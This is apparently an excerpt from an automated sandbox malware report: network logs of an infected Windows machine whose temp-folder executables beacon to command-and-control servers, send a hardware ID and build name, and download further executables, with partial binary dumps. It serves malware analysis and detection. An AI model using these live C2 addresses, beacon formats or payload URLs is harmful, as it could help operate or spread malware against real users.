Oct 31, 2024 01:20:02.524631023 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:03.142620087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50058	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:05.124239922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:05.851567030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50060	185.215.113.206	80	6920	C:\Users\user\AppData\Local\Temp\1002748001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:07.348447084 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:20:08.265224934 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:20:08.268527985 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="hwid"621030F647411176838713------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="build"tale------GCBFBGCGIJKJJKFIDBFC--
Oct 31, 2024 01:20:08.558041096 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50061	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:07.393229961 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:08.304152966 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50063	185.215.113.16	80	1300	C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:09.950948954 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 01:20:10.828254938 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:10 GMT Content-Type: application/octet-stream Content-Length: 2820096 Last-Modified: Wed, 30 Oct 2024 23:13:35 GMT Connection: keep-alive ETag: "6722bd9f-2b0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 8f 98 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@pgootnwq*:@rqqmfceu `+@.taggant@+"*@
Oct 31, 2024 01:20:10.828305006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828341007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828392029 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828428030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828463078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828495979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828528881 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:20:10.828562975 CET	1236	IN	Data Raw: 4d fb 52 58 b6 79 6c 22 a6 14 62 57 73 47 6f 67 40 83 8e e5 28 71 9e 3a 62 14 ee 7f 01 4e 67 27 96 e8 8f b5 75 1d bd 79 47 82 3e 1a 8f 23 6a 7e 51 07 47 db ab 62 7f 4c fe 4d c5 f5 93 bb 1f 4b b4 4f c4 8d 11 e6 ed cf 03 6e 8b 1f 3b cd b0 b5 a2 1d Data Ascii: MRXyl"bWsGog@(q:bNg'uyG>#j~QGbLMKOn;/%:LmZ*=616<hYX;_>r{}=Lu.d`l>T$\JkuOmG#'jL`zsyWA,;AOWUnF)c9!r`
Oct 31, 2024 01:20:10.828598976 CET	1236	IN	Data Raw: 5f 3f d1 3c b5 6a 92 16 b7 ea c5 29 b9 7e c3 77 9d 42 72 85 d5 31 b0 80 80 c1 b9 5c 70 44 5c 7e 40 d1 70 83 9d 38 7f 7a 5d 82 9a 5c bf 3d 61 7b 87 3e 98 2c 7c 31 87 7d 60 5f 5c 85 6f bc 6e 17 63 b5 83 1d 72 27 77 69 2d ff 59 2e 60 78 d4 fc cf 98 Data Ascii: _?<j)~wBr1\pD\~@p8z]\=a{>,\|1}`_\oncr'wi-Y.`x:,vw_M}gXTow7Z{J^4ZyoVCu:fJ4V_& J_u*[izb8a\|w^SV-N?<{p3fVY`&~3`6
Oct 31, 2024 01:20:10.833524942 CET	1236	IN	Data Raw: 65 00 a6 46 ac 58 8a d0 12 2d ae f0 35 4d 1a 09 c3 05 b8 6d 08 0e 1c d1 a4 db 6b 80 ac 2b a5 d2 90 11 b3 6e 7d d1 99 c3 bb c7 11 77 40 f4 96 a6 78 12 8d d2 a5 45 f4 80 f9 c0 21 4b 78 0f 01 34 0c 54 9a 5e 88 4a 97 cb a2 22 6b 5d 57 82 c5 7f 6c 4c Data Ascii: eFX-5Mmk+n}w@xE!Kx4T^J"k]WlL@(9=-\|pi'y(lprm!w`h\P=Uf>R2`.l1=14:W1>hBBEU*1d=9!JE]eBy'?tDFe<vj{)spu^e~JUyz2HTb
Oct 31, 2024 01:20:17.018197060 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 01:20:17.301894903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:17 GMT Content-Type: application/octet-stream Content-Length: 1926144 Last-Modified: Wed, 30 Oct 2024 23:58:44 GMT Connection: keep-alive ETag: "6722c834-1d6400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf L@PLM@Wk8LL @.rsrc@.idata @ +@tfbezuorP1H@idqqmftgL>@.taggant0 L"B@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50064	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:10.318290949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:11.085164070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50065	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:12.829602957 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:13.741811037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50067	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:15.797652960 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:16.669711113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50069	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:18.411930084 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:19.309216976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50072	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:21.508167028 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 01:20:22.378911018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50073	185.215.113.206	80	736	C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:22.761753082 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:20:23.697976112 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:20:23.768352985 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="hwid"621030F647411176838713------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="build"tale------GCAKKECAEGDGCBFIJEGH--
Oct 31, 2024 01:20:24.059071064 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:20:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50079	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:24.062439919 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 31, 2024 01:20:25.010894060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	50083	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:20:24.531629086 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:25.135802031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71352 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:25.182694912 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 01:20:25.308845043 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 71352 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 01:20:25.411973953 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
